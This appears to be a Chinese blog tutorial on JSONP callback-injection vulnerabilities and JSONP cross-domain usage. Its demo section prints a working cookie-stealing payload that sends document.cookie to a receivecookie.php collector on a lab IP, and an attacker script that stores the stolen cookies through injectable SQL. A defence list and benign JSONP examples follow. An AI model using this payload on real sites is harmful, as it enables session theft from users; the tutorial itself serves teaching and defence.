本文最后更新于 2024-07-26,文章内容可能已经过时。

jsonp漏洞—-读取类型的CSRF

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

jsonp介绍:

jsonp是通过script标签加载数据的方式去获取数据当作js代码来执行

提前在页面上声明一个函数,函数名通过接口传参的方式传给后台,后台解析到函数名后在原始数据上【包裹】这个函数名,发送给前端。换句话说,jsonp需要对应接口的后端的配合才能是实现。要注意jsonp只支持GET方式的请求,不支持POST方式的请求、

script标签可以加载其他域下的js,我们可以利用这个特性实现从其他域下获取数据。通过

<script src>=“http:127.0.0.1:8080/getNews”></script>

这时回像接口发送获取数据,获取数据后作为js来执行。但是这个数据是json格式的,直接作为js运行的话如何去得到这个数据去操作呢?这时候我们可以在src后面加上一个回调函数callback=showData

<script src="http://127.0.0.1:8080/getNews?callback=showData"></script>

image-20231227164759416

jsonp漏洞利用:

1.构造代码:

image-20231227165032294

2.获取数据:

image-20231227165823363

利用jsonp就是在如图位置加上callback看有返回值,后可以获取关键数据。

代码演示

获取用户的cookie:

服务端程序:
<?php

$v = ["username"=>"zhangsan","age"=>12];

$v = json_encode($v);

$method = $_GET['cb'];

echo "$method('$v')";

//echo hi('zhangsan')
?>


====================
客户端程序;
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
  
<h1>aaaaaaaaaaaaaaaaa</h1>

<button onclick="getData()">点击发请求</button>

</body>
<script id="sc"></script>
<script>
    function getData(){
        document.getElementById("sc").src="http://192.168.248.128/attack/test.php?cb=new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='%2bdocument.cookie;//";
    }

</script>

</html>

========================
攻击者接收cookie的程序
<?php

include '../goods/common/dbconn.php';
$ucookie = $_GET['ucookie'];
$refers = $_SERVER['HTTP_REFERER'];

$sql = "insert into usercookies(cookies,refers,createtime) values('$ucookie','$refers',now())";

$result = mysqli_query($conn,$sql);
if(!$result){
    echo mysqli_error($conn);
}

mysqli_close($conn);

JSONP漏洞防御

1、前端不要传回调函数的名字给后端,直接约定好

2、后端检查Referer请求头,必须是约定好的服务器的地址

3、严格显示callback函数名称里的恶意单词,例如cookie,alert等等

4、严格限制callback函数名称的长度

5、使用htmlspecialchars、addslashes函数转义

JSONP解决跨域问题

jsonp解决跨域问题演示

服务端的程序:
<?php
$v = "zhangsan";
$method = $_GET['cb'];
echo "$method('$v')";
//echo getResData('zhangsan')
?>


===============================
客户端程序:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
  
<h1>aaaaaaaaaaaaaaaaa</h1>

</body>

<script>

    function getResData(data){
        console.log("hello:",data);
    }
  
    // url = "http://192.168.248.128/attack/test.php?cb=getResData";
    // $.get(url,function succ(data){
    //     console.log("hello:",data);
    // })
</script>

<script src="http://192.168.248.128/attack/test.php?cb=getResData"></script>

<!-- <script>
    getResData('zhangsan');
</script> -->

</html>
  • 客户端需要定义好一个javascript函数,用于在服务端返回数据时候,被调用
  • 客户端在调用服务端的时候,使用一个参数,把定义好的javascript函数名称传递给服务端
  • 服务端在返回的时候,把函数名称和数据拼接成一个调用的形式
  • 利用了script标签不受同源策略限制来实现

2、JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式

返回JSON数据

服务端程序
<?php

$v = ["username"=>"zhangsan","age"=>12];

$v = json_encode($v);

$method = $_GET['cb'];

echo "$method('$v')";

//echo hi('zhangsan')
?>


======================
客户端程序
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
  
<h1>aaaaaaaaaaaaaaaaa</h1>

</body>

<script>

    function getResData(data){
        jn = JSON.parse(data)//把返回的json字符串
        jn["age"] = 100;//把age属性修改一下

        console.log(jn);
    }
</script>

<script src="http://192.168.248.128/attack/test.php?cb=getResData"></script>

</html>

3、Jquery封装jsonp调用

jquery实现回调函数,绕过跨域访问:
$.getJSON(url,function(data){alert(data)})
url:xxxx.php?callback=?    不要使用函数名。  回调函数可以不写。
=====================
服务端程序

<?php

$v = ["username"=>"zhangsan","age"=>12];

$v = json_encode($v);

$method = $_GET['cb'];

echo "$method('$v')";

//echo hi('zhangsan')
?>

=====================
客户端程序
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
  
<h1>aaaaaaaaaaaaaaaaa</h1>

</body>

<script>

    $.getJSON("http://192.168.248.128/attack/test.php?cb=?",function succ(data){
        jn = JSON.parse(data)//把返回的json字符串
        jn["age"] = 100;//把age属性修改一下

        console.log(jn);
    })
</script>

</html>